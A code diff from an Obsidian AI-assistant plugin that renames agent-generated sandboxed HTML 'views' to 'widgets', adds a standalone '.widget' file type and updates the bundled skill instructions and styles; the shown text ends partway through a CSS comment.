diff --git a/src/agent/integrations/pluginIntegrations.ts b/src/agent/integrations/pluginIntegrations.ts index 0ef1b2a7..f4a57ccb 100644 --- a/src/agent/integrations/pluginIntegrations.ts +++ b/src/agent/integrations/pluginIntegrations.ts @@ -199,7 +199,7 @@ const BUNDLED_CORE_SKILL_ICONS: Record = { "manage-notes": "file-pen", web: "globe", "manage-skills": "wand-2", - views: "layout-dashboard", + widgets: "component", // = DEFAULT_WIDGET_ICON in widget/widgetIcon.ts }; /** @@ -207,7 +207,7 @@ const BUNDLED_CORE_SKILL_ICONS: Record = { * both the agent editor's Core Skills list and the agents-summary icon strip so the two never * drift. Core-plugin skills (Canvas, Bases, …) are ranked after all of these. */ -const S2B_CORE_SKILL_ORDER = ["explore-vault", "manage-notes", "web", "manage-skills", "views"]; +const S2B_CORE_SKILL_ORDER = ["explore-vault", "manage-notes", "web", "manage-skills", "widgets"]; /** * Sort rank for a core-category skill: listed S2B built-ins first in `S2B_CORE_SKILL_ORDER`, diff --git a/src/agent/tools/loadSkill.ts b/src/agent/tools/loadSkill.ts index 686291e6..fb3ebf75 100644 --- a/src/agent/tools/loadSkill.ts +++ b/src/agent/tools/loadSkill.ts @@ -40,7 +40,7 @@ export interface LoadSkillToolOptions { /** * Live status of a community plugin a skill lists under `metadata.optionalPlugins`. * Appended to the loaded body so a skill whose *best* path depends on another - * plugin (the views skill's Dataview queries) can tell the model up front whether + * plugin (the widgets skill's Dataview queries) can tell the model up front whether * that path exists, instead of letting it find out from a failed result. */ pluginStatus?: (pluginId: string) => { status: CommunityPluginStatus; displayName: string }; diff --git a/src/agent/tools/manageNotes.ts b/src/agent/tools/manageNotes.ts index 0e3d8963..5d626821 100644 --- a/src/agent/tools/manageNotes.ts +++ b/src/agent/tools/manageNotes.ts @@ -30,12 +30,20 @@ const editSchema = z.object({ .describe("Replace all occurrences instead of requiring a single unique match. Default false."), }); +/** What the agent may create, edit, move and delete: notes, and standalone widgets (`.widget`, see views/widget). */ +const AGENT_WRITABLE_EXTENSIONS = [".md", ".widget"]; +const isAgentWritablePath = (path: string): boolean => AGENT_WRITABLE_EXTENSIONS.some((ext) => path.endsWith(ext)); + const createOperationSchema = z.object({ type: z.literal("create"), path: z .string() - .describe("Vault-relative path for the new markdown note. Must end in .md. Example: Notes/my-note.md"), - content: z.string().describe("Full markdown content for the new note"), + .describe( + "Vault-relative path for the new file. Must end in .md (a note) or .widget (a standalone widget: frontmatter, then HTML). Example: Notes/my-note.md", + ), + content: z + .string() + .describe("Full content for the new file (markdown for a note; a widget fence's body for a .widget)"), }); const REPLACE_PENDING_DESCRIPTION = @@ -65,7 +73,9 @@ const deleteOperationSchema = z.object({ const moveOperationSchema = z.object({ type: z.literal("move"), path: z.string().describe("Current file path or wiki link reference to move"), - newPath: z.string().describe("Destination vault-relative path for the markdown note. Must end in .md."), + newPath: z + .string() + .describe("Destination vault-relative path. Must end in .md (a note) or .widget (a standalone widget)."), }); const replaceOperationSchema = z.object({ @@ -147,9 +157,9 @@ function validateExistingMarkdownFile( } const file = result.file; - if (!file.path.endsWith(".md")) { + if (!isAgentWritablePath(file.path)) { return { - error: `Error in operation ${operationNumber}: Only markdown files (.md) can be ${action}d. "${file.path}" is not a markdown file.`, + error: `Error in operation ${operationNumber}: Only notes (.md) and widgets (.widget) can be ${action}d. "${file.path}" is neither.`, }; } @@ -510,8 +520,8 @@ async function stageNoteOperations( const duplicateError = ensureUniqueTarget(seenPaths, normalizedPath, operationNumber); if (duplicateError) return duplicateError; - if (!normalizedPath.endsWith(".md")) { - return `Error in operation ${operationNumber}: Only markdown files (.md) can be created. Got: "${normalizedPath}"`; + if (!isAgentWritablePath(normalizedPath)) { + return `Error in operation ${operationNumber}: Only notes (.md) and widgets (.widget) can be created. Got: "${normalizedPath}"`; } if (!store.isPathAllowed(normalizedPath)) { @@ -617,8 +627,8 @@ async function stageNoteOperations( if (sourceDuplicateError) return sourceDuplicateError; const normalizedNewPath = normalizePath(operation.newPath); - if (!normalizedNewPath.endsWith(".md")) { - return `Error in operation ${operationNumber}: Only markdown files (.md) can be moved. Got destination "${normalizedNewPath}"`; + if (!isAgentWritablePath(normalizedNewPath)) { + return `Error in operation ${operationNumber}: Only notes (.md) and widgets (.widget) can be moved. Got destination "${normalizedNewPath}"`; } const destinationDuplicateError = ensureUniqueTarget(seenPaths, normalizedNewPath, operationNumber); diff --git a/src/components/ui/MarkdownRenderer.svelte b/src/components/ui/MarkdownRenderer.svelte index 117f22bf..753d7770 100644 --- a/src/components/ui/MarkdownRenderer.svelte +++ b/src/components/ui/MarkdownRenderer.svelte @@ -2,7 +2,7 @@ import { Component, Keymap, MarkdownRenderer, loadMathJax } from "obsidian"; import { onDestroy } from "svelte"; import { getPlugin } from "../../stores/state.svelte"; -import { VIEW_READY_EVENT } from "../../genview/viewFrame"; +import { WIDGET_READY_EVENT } from "../../widget/widgetFrame"; import { findSealableEnd } from "../../utils/streamingMarkdown"; import { openTagSearch } from "../../utils/tagSearch"; import { VIEW_TYPE_CHAT } from "../../views/chat/Chat"; @@ -159,14 +159,14 @@ function normalizeLinks(containerEl: HTMLElement) { // thread for the duration of a long reply (#482). The tail's staging element // carries `s2b-md-tail` while it renders, so a block processor can tell "still // being written" (show a placeholder) from "sealed" (render for real) — see -// `genview/registerViewBlocks.ts`. +// `widget/registerWidgetBlocks.ts`. // // Outside streaming — a settled reply's first render, and the moment a streamed // reply settles — the content is rendered as one document, so every construct // resolves exactly as a whole-document parse does (reference definitions, HTML // blocks and loose lists that a seam between segments would cut). That render is // double-buffered: it happens in a hidden wrapper while the previous DOM stays on -// screen, and swaps in once the wrapper's view frames report ready (capped), so +// screen, and swaps in once the wrapper's widget frames report ready (capped), so // settling never blanks a frame that was already showing. The wrapper is then // unwrapped so the container stays flat (call sites style with direct-child // selectors such as `[&>p]`) — unless it holds an iframe, which a DOM move would @@ -175,7 +175,7 @@ function normalizeLinks(containerEl: HTMLElement) { const TAIL_CLASS = "s2b-md-tail"; const DOC_CLASS = "s2b-md-doc"; const DOC_PENDING_CLASS = "s2b-md-doc-pending"; -/** Upper bound on waiting for a settled document's view frames before swapping it in. */ +/** Upper bound on waiting for a settled document's widget frames before swapping it in. */ const VIEW_READY_GRACE_MS = 2000; let latest = { content: "", sourcePath: "", enableMath: true, streaming: false }; @@ -191,7 +191,7 @@ let tailNodes: ChildNode[] = []; let settled = false; /** * Owners of the render children Obsidian's processors attach to rendered blocks - * (Dataview tables, `s2b-view` frames, embeds). Handing the renderer the plugin + * (Dataview tables, `s2b-widget` frames, embeds). Handing the renderer the plugin * itself kept every such child alive until plugin unload; these are unloaded when * the DOM they belong to goes away — the tail's on every tail render, the * document's on reset, swap and destroy. @@ -296,20 +296,20 @@ async function renderDocument(text: string, path: string) { settled = true; } -/** Resolve once every view frame under `root` has reported ready, or after the grace period. */ +/** Resolve once every widget frame under `root` has reported ready, or after the grace period. */ function waitForViews(root: HTMLElement): Promise { - let pending = root.querySelectorAll(".s2b-view-frame:not([data-s2b-view-ready])").length; + let pending = root.querySelectorAll(".s2b-widget-frame:not([data-s2b-widget-ready])").length; if (pending === 0) return Promise.resolve(); return new Promise((resolve) => { const finish = () => { - root.removeEventListener(VIEW_READY_EVENT, onReady); + root.removeEventListener(WIDGET_READY_EVENT, onReady); window.clearTimeout(timer); resolve(); }; const onReady = () => { if (--pending <= 0) finish(); }; - root.addEventListener(VIEW_READY_EVENT, onReady); + root.addEventListener(WIDGET_READY_EVENT, onReady); const timer = window.setTimeout(finish, VIEW_READY_GRACE_MS); }); } diff --git a/src/genview/ViewRenderChild.ts b/src/genview/ViewRenderChild.ts deleted file mode 100644 index e854234a..00000000 --- a/src/genview/ViewRenderChild.ts +++ /dev/null @@ -1,167 +0,0 @@ -import { type App, type EventRef, MarkdownRenderChild } from "obsidian"; -import { - buildViewFrameSrcdoc, - collectThemeCss, - parseFrameMessage, - VIEW_FRAME_PADDING_PX, - VIEW_READY_EVENT, -} from "./viewFrame"; -import { resolveViewLibs } from "./viewLibs"; -import { runViewQueries } from "./viewQueries"; -import type { ViewSpec } from "./viewSpec"; - -const LIVE_UPDATE_DEBOUNCE_MS = 400; -const DEFAULT_AUTO_HEIGHT = 96; -const MIN_AUTO_HEIGHT = 24; -const MAX_AUTO_HEIGHT = 4000; - -/** - * Vault/index events that mean a query's answer may have changed. Dataview's own - * events fire after *its* index caught up, which is when a re-run is worth doing; - * the raw metadata-cache event covers vaults without Dataview and is harmless with it - * (the debounce folds them together). - */ -const REFRESH_EVENTS = ["changed", "dataview:metadata-change", "dataview:index-ready"]; - -/** - * One rendered view: owns the sandboxed frame, feeds it query results, keeps those - * results live while the vault changes, and tears everything down with the block. - * - * `this.frame` is the trusted outer relay frame (see `viewFrame.ts`); the view's own - * document is nested inside it and never talks to the host directly. - * - * Lifecycle is Obsidian's `MarkdownRenderChild`: `onload` when the block is attached - * to a loaded parent component, `onunload` when that parent unloads (the reading - * view re-renders, the chat message is replaced, the note closes). - */ -export class ViewRenderChild extends MarkdownRenderChild { - private frame: HTMLIFrameElement | null = null; - private refreshTimer: number | null = null; - private queryGeneration = 0; - - constructor( - containerEl: HTMLElement, - private readonly app: App, - private readonly spec: ViewSpec, - private readonly sourcePath: string, - ) { - super(containerEl); - } - - onload(): void { - const frame = this.containerEl.createEl("iframe", { - cls: "s2b-view-frame", - attr: { - sandbox: "allow-scripts", - referrerpolicy: "no-referrer", - title: this.spec.title ?? "View", - }, - }); - frame.style.height = `${(this.spec.height ?? DEFAULT_AUTO_HEIGHT) + 2 * VIEW_FRAME_PADDING_PX}px`; - this.frame = frame; - - this.registerDomEvent(window, "message", (event: MessageEvent) => this.onMessage(event)); - this.registerEvent(this.app.workspace.on("css-change", () => this.postTheme())); - - if (Object.keys(this.spec.queries).length > 0) { - const cache = this.app.metadataCache as unknown as { on(name: string, callback: () => void): EventRef }; - for (const name of REFRESH_EVENTS) { - this.registerEvent(cache.on(name, () => this.scheduleRefresh())); - } - this.registerEvent(this.app.vault.on("delete", () => this.scheduleRefresh())); - this.registerEvent(this.app.vault.on("rename", () => this.scheduleRefresh())); - } - - // Set last: the frame starts loading (and may post `ready`) as soon as srcdoc is assigned. - frame.srcdoc = buildViewFrameSrcdoc( - this.spec.body, - collectThemeCss(), - resolveViewLibs(this.spec.libs).sources, - this.spec.height === undefined, - ); - } - - onunload(): void { - if (this.refreshTimer !== null) { - window.clearTimeout(this.refreshTimer); - this.refreshTimer = null; - } - // Invalidate any in-flight query so its result is dropped rather than posted. - this.queryGeneration++; - this.frame = null; - } - - private onMessage(event: MessageEvent): void { - if (!this.frame || event.source !== this.frame.contentWindow) return; - const message = parseFrameMessage(event.data); - if (!message) return; - switch (message.type) { - case "ready": - this.frame.dataset.s2bViewReady = "true"; - this.containerEl.dispatchEvent(new CustomEvent(VIEW_READY_EVENT, { bubbles: true })); - void this.postData(); - break; - case "requery": - this.scheduleRefresh(); - break; - case "resize": { - // Auto: follow the content. Declared: the layout gets that height, but the frame - // shrinks to the content's drawn extent when that is shorter — models over-estimate - // heights, and the surplus would show as empty space. Percentage-sized children - // fill the declared height, so their extent equals it and nothing changes. - const height = - this.spec.height === undefined - ? Math.min(MAX_AUTO_HEIGHT, Math.max(MIN_AUTO_HEIGHT, Math.ceil(message.height))) - : Math.min(this.spec.height, Math.max(MIN_AUTO_HEIGHT, Math.ceil(message.extent))); - this.frame.style.height = `${height + 2 * VIEW_FRAME_PADDING_PX}px`; - break; - } - case "open-note": - void this.app.workspace.openLinkText(message.path, this.sourcePath, false); - break; - case "navigated": - this.retireFrame(); - break; - } - } - - /** - * The outer frame reports that the view document was replaced (a navigation the - * CSP backstop did not refuse). Nothing may be posted to whatever loaded in its - * place: drop the frame and say why in its stead. - */ - private retireFrame(): void { - this.queryGeneration++; - this.frame?.remove(); - this.frame = null; - this.containerEl.createDiv({ - cls: "s2b-view-blocked", - text: "This view was stopped because it tried to navigate away from its sandbox.", - }); - } - - private post(message: Record): void { - // The frame has an opaque origin (sandbox without allow-same-origin), so "*" is the - // only target that reaches it; the CSP inside keeps what it receives from leaving. - this.frame?.contentWindow?.postMessage({ s2bView: true, ...message }, "*"); - } - - private postTheme(): void { - this.post({ type: "theme", css: collectThemeCss() }); - } - - private scheduleRefresh(): void { - if (this.refreshTimer !== null) window.clearTimeout(this.refreshTimer); - this.refreshTimer = window.setTimeout(() => { - this.refreshTimer = null; - void this.postData(); - }, LIVE_UPDATE_DEBOUNCE_MS); - } - - private async postData(): Promise { - const generation = ++this.queryGeneration; - const data = await runViewQueries(this.app, this.spec.queries, this.sourcePath); - if (generation !== this.queryGeneration || !this.frame) return; - this.post({ type: "data", data }); - } -} diff --git a/src/genview/registerViewBlocks.ts b/src/genview/registerViewBlocks.ts deleted file mode 100644 index 505c163b..00000000 --- a/src/genview/registerViewBlocks.ts +++ /dev/null @@ -1,115 +0,0 @@ -import { type App, Notice, normalizePath, setIcon, type TFile } from "obsidian"; -import type SecondBrainPlugin from "../main"; -import { getData } from "../stores/dataStore.svelte"; -import { VIEW_TYPE_CHAT } from "../views/chat/Chat"; -import { ViewRenderChild } from "./ViewRenderChild"; -import { resolveViewLibs, VIEW_LIBS } from "./viewLibs"; -import { parseViewSpec, VIEW_BLOCK_LANGUAGE, type ViewSpec, viewFileBasename, wrapViewFence } from "./viewSpec"; - -/** - * Set on the chat renderer's staging element for the still-streaming tail of a reply - * (`MarkdownRenderer.svelte`). An unclosed fence renders as a code block on every - * frame of the stream, so without this guard a half-written view would spin up a - * fresh iframe (and run half a script) per token. Once the fence closes and its - * paragraph is sealed it renders outside the tail, and the frame appears right then — - * not only when the whole reply has settled. - */ -export const STREAMING_TAIL_CLASS = "s2b-md-tail"; - -/** Must match the `s2b-view-sweep` keyframes duration in styles.css. */ -const SWEEP_PERIOD_MS = 1800; - -/** Register the `s2b-view` code-block processor. Applies everywhere markdown renders. */ -export function registerViewBlocks(plugin: SecondBrainPlugin): void { - plugin.registerMarkdownCodeBlockProcessor(VIEW_BLOCK_LANGUAGE, (source, el, ctx) => { - el.addClass("s2b-view"); - if (el.closest(`.${STREAMING_TAIL_CLASS}`)) { - renderPlaceholder(el); - return; - } - const spec = parseViewSpec(source); - const { unknown } = resolveViewLibs(spec.libs); - if (unknown.length > 0) { - el.createDiv({ - cls: "s2b-view-blocked", - text: `This view asks for a library that is not bundled: ${unknown.join(", ")}. Available: ${Object.keys(VIEW_LIBS).join(", ")}.`, - }); - return; - } - // Inside a chat the block is a proposal the user may want to keep; in a note it - // already is the note, so the toolbar only appears in the chat. - if (el.closest(`.workspace-leaf-content[data-type="${VIEW_TYPE_CHAT}"]`)) { - renderChatToolbar(plugin, el, spec, source); - } - ctx.addChild(new ViewRenderChild(el, plugin.app, spec, ctx.sourcePath)); - }); -} - -/** - * Placeholder shown while the fence is still being streamed: one blank card with the - * label centred in it, both carrying the sweep the thinking-process header uses. The - * streaming tail is re-rendered on every frame, so this element is recreated many times - * a second; the sweep's phase is pinned to wall-clock time so it reads as one continuous - * animation rather than restarting with each rebuild. - */ -function renderPlaceholder(el: HTMLElement): void { - const placeholder = el.createDiv({ cls: "s2b-view-placeholder" }); - const phase = `-${Math.round(performance.now() % SWEEP_PERIOD_MS)}ms`; - placeholder.style.animationDelay = phase; - placeholder.createDiv({ cls: "s2b-view-placeholder-label", text: "Generating view…" }).style.animationDelay = phase; -} - -function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: ViewSpec, source: string): void { - const bar = el.createDiv({ cls: "s2b-view-toolbar" }); - bar.createSpan({ cls: "s2b-view-toolbar-title", text: spec.title ?? "View" }); - - iconButton(bar, "copy", "Copy as block to paste into a note", async () => { - await navigator.clipboard.writeText(wrapViewFence(source)); - new Notice("View block copied. Paste it into any note."); - }); - iconButton(bar, "save", "Save as a note in the vault", async () => { - try { - const file = await saveViewAsNote(plugin.app, getData().viewsFolder, spec, source); - new Notice(`Saved view to ${file.path}`); - await plugin.app.workspace.getLeaf("tab").openFile(file); - } catch (error) { - new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); - } - }); -} - -function iconButton(parent: HTMLElement, icon: string, label: string, onClick: () => Promise): void { - const button = parent.createDiv({ - cls: "clickable-icon", - attr: { role: "button", tabindex: "0", "aria-label": label }, - }); - setIcon(button, icon); - button.addEventListener("click", () => void onClick()); - button.addEventListener("keydown", (event) => { - if (event.key === "Enter" || event.key === " ") { - event.preventDefault(); - void onClick(); - } - }); -} - -/** Write the view as `/.md` holding the fence, suffixing the name on collision. */ -export async function saveViewAsNote(app: App, folder: string, spec: ViewSpec, source: string): Promise<TFile> { - const folderPath = normalizePath(folder || "Views"); - await ensureFolder(app, folderPath); - const base = viewFileBasename(spec.title); - let path = normalizePath(`${folderPath}/${base}.md`); - for (let n = 2; app.vault.getAbstractFileByPath(path); n++) { - path = normalizePath(`${folderPath}/${base} ${n}.md`); - } - return app.vault.create(path, wrapViewFence(source)); -} - -/** Create `folderPath` and any missing ancestors, one segment at a time. */ -async function ensureFolder(app: App, folderPath: string): Promise<void> { - let current = ""; - for (const segment of folderPath.split("/").filter(Boolean)) { - current = current ? `${current}/${segment}` : segment; - if (!app.vault.getFolderByPath(current)) await app.vault.createFolder(current); - } -} diff --git a/src/main.ts b/src/main.ts index 46e902a4..1bec2ef0 100755 --- a/src/main.ts +++ b/src/main.ts @@ -29,7 +29,12 @@ import { setPlugin } from "./stores/state.svelte"; import { onCodexSessionChange } from "./stores/providerRuntime.svelte"; import { invalidateAuthState, invalidateProviderState } from "./lib/query"; import { LexicalSearchService } from "./search/LexicalSearchService"; -import { registerViewBlocks } from "./genview/registerViewBlocks"; +import { registerWidgetBlocks } from "./widget/registerWidgetBlocks"; +import { WidgetModal } from "./widget/WidgetModal"; +import type { WidgetSpec } from "./widget/widgetSpec"; +import { WIDGET_HOVER_SOURCE } from "./widget/WidgetRenderChild"; +import { WidgetView, WIDGET_FILE_EXTENSION, VIEW_TYPE_WIDGET } from "./views/widget/WidgetView"; +import { registerWidgetEmbed, unregisterWidgetEmbed } from "./views/widget/widgetEmbed"; import { ChatView, VIEW_TYPE_CHAT } from "./views/chat/Chat"; import { navigateToPendingChange } from "./lib/pendingChangeNavigation"; import { registerChatEmbed, unregisterChatEmbed } from "./views/chat/chatEmbed"; @@ -479,6 +484,13 @@ export default class SecondBrainPlugin extends Plugin { // }); // this.registerView(VIEW_TYPE_NOTE_CONTEXT, (leaf) => new NoteContextView(leaf, this)); this.registerView(VIEW_TYPE_ONBOARDING, (leaf) => new OnboardingView(leaf, this)); + // `.widget` files: a standalone widget as its own leaf, plus `![[x.widget]]` embeds and + // hover previews (see views/widget/). Torn down in onunload with the chat's. + this.registerView(VIEW_TYPE_WIDGET, (leaf) => new WidgetView(leaf, this)); + this.registerExtensions([WIDGET_FILE_EXTENSION], VIEW_TYPE_WIDGET); + registerWidgetEmbed(this); + // Note links inside widget frames (`data-note`) preview like links in a note. + this.registerHoverLinkSource(WIDGET_HOVER_SOURCE, { display: "S2B Widgets", defaultMod: false }); if (this.manifest.dir === undefined) { this.unload(); @@ -812,9 +824,9 @@ export default class SecondBrainPlugin extends Plugin { // Register reading view diff highlighting this.registerMarkdownPostProcessor(createReadingViewDiffPostProcessor(this)); - // Render `s2b-view` fences (agent-generated views) as sandboxed frames — in + // Render `s2b-widget` fences (agent-generated widgets) as sandboxed frames — in // chat replies, notes, and embeds alike. - registerViewBlocks(this); + registerWidgetBlocks(this); // Re-render reading views when pending changes update. `rerender(true)` // rebuilds the preview from scratch and Obsidian re-asserts its OWN scroll @@ -879,8 +891,9 @@ export default class SecondBrainPlugin extends Plugin { // during unload. ( this.app as typeof this.app & { viewRegistry?: { unregisterExtensions?: (extensions: string[]) => void } } - ).viewRegistry?.unregisterExtensions?.(["chat"]); + ).viewRegistry?.unregisterExtensions?.(["chat", WIDGET_FILE_EXTENSION]); unregisterChatEmbed(this); + unregisterWidgetEmbed(this); } async createNewChat() { @@ -920,6 +933,11 @@ export default class SecondBrainPlugin extends Plugin { return this.agentManager.openLatestChat(); } + /** Show a widget expanded to almost the whole window (the chat toolbar's "Expand"). */ + openWidgetModal(spec: WidgetSpec, sourcePath = ""): void { + new WidgetModal(this.app, spec, sourcePath).open(); + } + async activateSmartGraphView() { const { workspace } = this.app; diff --git a/src/skills/defaults/views/SKILL.md b/src/skills/defaults/widgets/SKILL.md similarity index 62% rename from src/skills/defaults/views/SKILL.md rename to src/skills/defaults/widgets/SKILL.md index aefd00f8..f96bb57c 100644 --- a/src/skills/defaults/views/SKILL.md +++ b/src/skills/defaults/widgets/SKILL.md @@ -1,6 +1,6 @@ --- -name: views -description: Build interactive views — dashboards, charts, plots, tables, trackers — as self-contained HTML that renders live in the chat and can be saved to the vault as a note. Use when the user asks to visualize, plot, chart, or build an overview or dashboard from vault data, or wants a small interactive widget. Load this for the view block format and its data bridge. +name: widgets +description: Build interactive widgets — dashboards, charts, plots, tables, trackers — as self-contained HTML that renders live in the chat and can be saved to the vault as a note. Use when the user asks to visualize, plot, chart, or build an overview or dashboard from vault data, or wants a small interactive widget. Load this for the widget block format and its data bridge. metadata: author: "S2B" version: "1.0" @@ -8,19 +8,28 @@ metadata: optionalPlugins: "dataview" --- -## What a view is -A view is a `s2b-view` code fence written directly in your reply. Its body is an HTML +## What a widget is +A widget is a `s2b-widget` code fence written directly in your reply. Its body is an HTML fragment — markup, `<style>`, `<script>` — rendered in a sandboxed frame right where you wrote it. An optional frontmatter block at the top declares a title, a fixed height, and named Dataview queries that the host runs for you and keeps live as the vault changes. -The user keeps a view from the toolbar above it: copy it as a block to paste into any -note, or save it as its own note. Do not create that note yourself unless asked; if the -user does ask, stage it with `manage_notes` and put the same fence in the note body. +The user keeps a widget from the toolbar above it: copy it as a block to paste into a +note, or save it as a standalone `.widget` file, which opens as its own pane and can be +embedded in any note with `![[Name.widget]]`. Do not create that file yourself unless +asked; if the user does ask, stage it with `manage_notes` as `<folder>/<Name>.widget` whose +content is the fence **body** only — frontmatter, then HTML, no fence markers. + +To **change an existing widget file**, read it first with `read_content` (it is plain text), +then stage the edit with `manage_notes` — a targeted find/replace for a small change, a full +rewrite for a redesign. The user reviews the diff; once accepted, an open pane and every +embed of that widget re-render by themselves. `search_notes` finds a saved widget by its +title and description only (never its code); if that fails, use `list_directory` on the +widgets folder or ask the user for the path. ## Format ````markdown -```s2b-view +```s2b-widget --- title: Recently modified notes queries: @@ -41,7 +50,7 @@ queries: const row = tbody.insertRow(); const a = document.createElement("a"); a.textContent = link.display; - a.onclick = () => s2b.openNote(link.path); + a.dataset.note = link.path; // click opens the note, hover previews it row.insertCell().append(a); row.insertCell().textContent = new Date(modified).toLocaleDateString(); } @@ -50,11 +59,18 @@ queries: ``` ```` -Frontmatter keys (all optional): `title` (toolbar label and note name when saved), +Frontmatter keys (all optional): `title` (toolbar label and file name when saved), +`description` (one line on what the widget shows — with the title, the only text of a saved +widget that search sees, so always give one), `icon` (shown on its tab and in the chat: +**any** name from the Lucide icon set, so choose the one that matches the widget's +*subject*, not its shape — a home dashboard gets `home`, a reading tracker `book-open`, +a study planner `graduation-cap`, a task board `list-todo`, a habit tracker `calendar-check`; +only fall back to generic chart icons like `chart-column` when nothing more specific fits; +an unknown name falls back to the default), `height` (frame height in px; omit to size to content — with it, the layout gets that height and the frame still shrinks if the drawn content is shorter), `queries` (name → Dataview DQL string; use `|` for a multi-line query), `libs` (bundled libraries to load, see -[Plots and 3D](#plots-and-3d)). Body-only views with no frontmatter are fine for +[Plots and 3D](#plots-and-3d)). Body-only widgets with no frontmatter are fine for static content. ## Data @@ -66,12 +82,12 @@ static content. - Links are `{ path, display, subpath }`; dates and durations are ISO strings. - Queries need the Dataview plugin. **Check "Plugin availability" above before writing any.** Only declare `queries` when Dataview is *enabled*. If it is disabled or not - installed, build the view from data you gather with your other tools (`search_notes`, + installed, build the widget from data you gather with your other tools (`search_notes`, `get_properties`, `read_content`, …) inlined as a JSON constant, and tell the user in - one sentence that enabling or installing Dataview would let the view query the vault + one sentence that enabling or installing Dataview would let the widget query the vault itself and stay up to date. Never write a query that you know will fail. - With Dataview enabled, prefer queries over inlined data whenever the data lives in the - vault: queries stay live after the view is saved, a constant goes stale. Inline data + vault: queries stay live after the widget is saved, a constant goes stale. Inline data only for things that are not in the vault (a formula to plot, a worked example). ## Runtime API (inside the frame) @@ -79,8 +95,10 @@ static content. available and again on every vault change, so make the render idempotent (clear, then draw). - `s2b.data` — the latest results. -- `s2b.openNote(path)` — open a note in Obsidian. Plain `<a href>` cannot leave the - frame; use this on click. +- `data-note="Path/To/Note.md"` on any element makes it a note link: click opens the + note, hovering shows Obsidian's page preview. An `<a href="Path/To/Note.md">` with a + vault path (not a URL) works the same way. Prefer these over click handlers. +- `s2b.openNote(path)` — open a note programmatically (e.g. from a chart's click handler). - `s2b.refresh()` — ask for a re-run of the queries. ## Plots and 3D @@ -92,7 +110,7 @@ for you. Available trace types: `scatter` (lines, markers, function plots), `bar those yourself and draw with `bar`/`scatter`. ````markdown -```s2b-view +```s2b-widget --- title: z = sin(x) · cos(y) height: 420 @@ -115,9 +133,9 @@ libs: plotly ``` ```` -- Set `height` for Plotly views and give the plot div `height:100%`; Plotly needs a - sized container. Put several plots in **one** view (several divs) rather than one - view per plot: each library-backed view carries its own copy of the library. +- Set `height` for Plotly widgets and give the plot div `height:100%`; Plotly needs a + sized container. Put several plots in **one** widget (several divs) rather than one + widget per plot: each library-backed widget carries its own copy of the library. - Use `paper_bgcolor`/`plot_bgcolor: "transparent"` and the theme's `--text-muted` for fonts so the plot sits on the note like native content. - Without a library, `<svg>` and `<canvas>` (2D and WebGL contexts) work as usual for @@ -125,20 +143,20 @@ libs: plotly ## Rules - The frame has no network and cannot navigate: no CDN scripts, external fonts, - images, `fetch`, links to web pages, or `location` changes — a view that tries is + images, `fetch`, links to web pages, or `location` changes — a widget that tries is stopped. Everything must be inline; libraries come only from `libs`. Keep scripts small and readable. -- Style with Obsidian's CSS variables so the view matches the theme in light and dark: +- Style with Obsidian's CSS variables so the widget matches the theme in light and dark: `--background-primary`, `--background-secondary`, `--background-modifier-border`, `--text-normal`, `--text-muted`, `--text-faint`, `--text-accent`, `--interactive-accent`, `--color-red/orange/yellow/green/cyan/blue/purple/pink`, `--font-interface`, `--font-monospace`, `--font-ui-small`, `--radius-s/m`. The body already uses the - interface font; the card around the view provides the padding, so use none of your own + interface font; the card around the widget provides the padding, so use none of your own at the edges. -- The frame follows its content height — prefer that. Set `height` only when the view +- The frame follows its content height — prefer that. Set `height` only when the widget scrolls internally or sizes children by percentage (Plotly), and then make it the content's real size, not a round guess: a too-large `height` shows as empty space under the content. Canvases and SVGs should carry explicit sizes. -- One screen, not a web app: a view is a dashboard, chart, table, or small widget. +- One screen, not a web app: a widget is a dashboard, chart, table, or small widget. `alert`, `prompt`, and popups are blocked. - Guard empty results (`rows.length === 0`) with a short message instead of a blank frame. diff --git a/src/stores/dataStore.svelte.ts b/src/stores/dataStore.svelte.ts index 3617462c..2a911f6e 100644 --- a/src/stores/dataStore.svelte.ts +++ b/src/stores/dataStore.svelte.ts @@ -213,7 +213,7 @@ export const DEFAULT_SETTINGS: PluginData = { // Chat settings targetFolder: "Chats", attachmentFolder: "", - viewsFolder: "Views", + widgetsFolder: "Widgets", agentFolder: "Agents", agentFolderMigrated: false, coreSkillsSeeded: false, @@ -539,11 +539,11 @@ export class PluginDataStore { void this.saveSettings(); } - get viewsFolder() { - return this.#data.viewsFolder; + get widgetsFolder() { + return this.#data.widgetsFolder; } - set viewsFolder(val: string) { - this.#data.viewsFolder = normalizePath(val || "Views"); + set widgetsFolder(val: string) { + this.#data.widgetsFolder = normalizePath(val || "Widgets"); void this.saveSettings(); } diff --git a/src/styles.css b/src/styles.css index 8a99fc91..4f547ae0 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1658,11 +1658,80 @@ body.is-mobile .tool-output-content pre .clickable-icon { pointer-events: none; } -/* ---- Agent-generated views (`s2b-view` fences, src/genview) ---------------- */ -.s2b-view { +/* ---- Agent-generated widgets (`s2b-widget` fences, src/widget) ---------------- */ +.s2b-widget { + position: relative; margin: var(--size-4-2) 0; } -.s2b-view-frame { +/* ---- A widget expanded from the chat (widget/WidgetModal) ---- */ +.modal.s2b-widget-modal { + width: min(96vw, 1800px); + max-width: none; + height: 92vh; + max-height: 92vh; + display: flex; + flex-direction: column; +} +.s2b-widget-modal .modal-content.s2b-widget-modal-content { + position: relative; + flex: 1; + min-height: 0; + padding: 0; +} +/* ---- A widget as its own leaf (views/widget) ---- */ +.view-content.s2b-widget-view { + padding: 0; +} +.s2b-widget-view-body { + position: relative; + height: 100%; +} +/* Invisible stand-in for a hovered note link inside a frame (see WidgetRenderChild). */ +.s2b-widget-hover-proxy { + position: absolute; + z-index: 1; + cursor: pointer; + background: transparent; +} +.s2b-widget-frame.s2b-widget-fill { + --s2b-widget-border-width: 0px; + height: 100%; + border: 0; + border-radius: 0; +} +.s2b-widget-view-source { + display: flex; + flex-direction: column; + gap: var(--size-4-2); + height: 100%; + padding: var(--size-4-3); +} +.s2b-widget-view-source-text { + flex: 1; + width: 100%; + resize: none; + font-family: var(--font-monospace); + font-size: var(--font-smaller); + line-height: 1.5; +} +.s2b-widget-view-source-bar { + display: flex; + align-items: center; + gap: var(--size-4-2); +} +.s2b-widget-view-source-hint { + display: flex; + align-items: center; + gap: var(--size-2-2); + margin-left: auto; + color: var(--text-muted); + font-size: var(--font-ui-smaller); +} +.s2b-widget-view-source-stale { + margin-left: 0; + color: var(--text-warning); +} +.s2b-widget-frame { display: block; /* The host sets this frame's height to content + padding; the border must sit outside that box. With border-box (Tailwind's 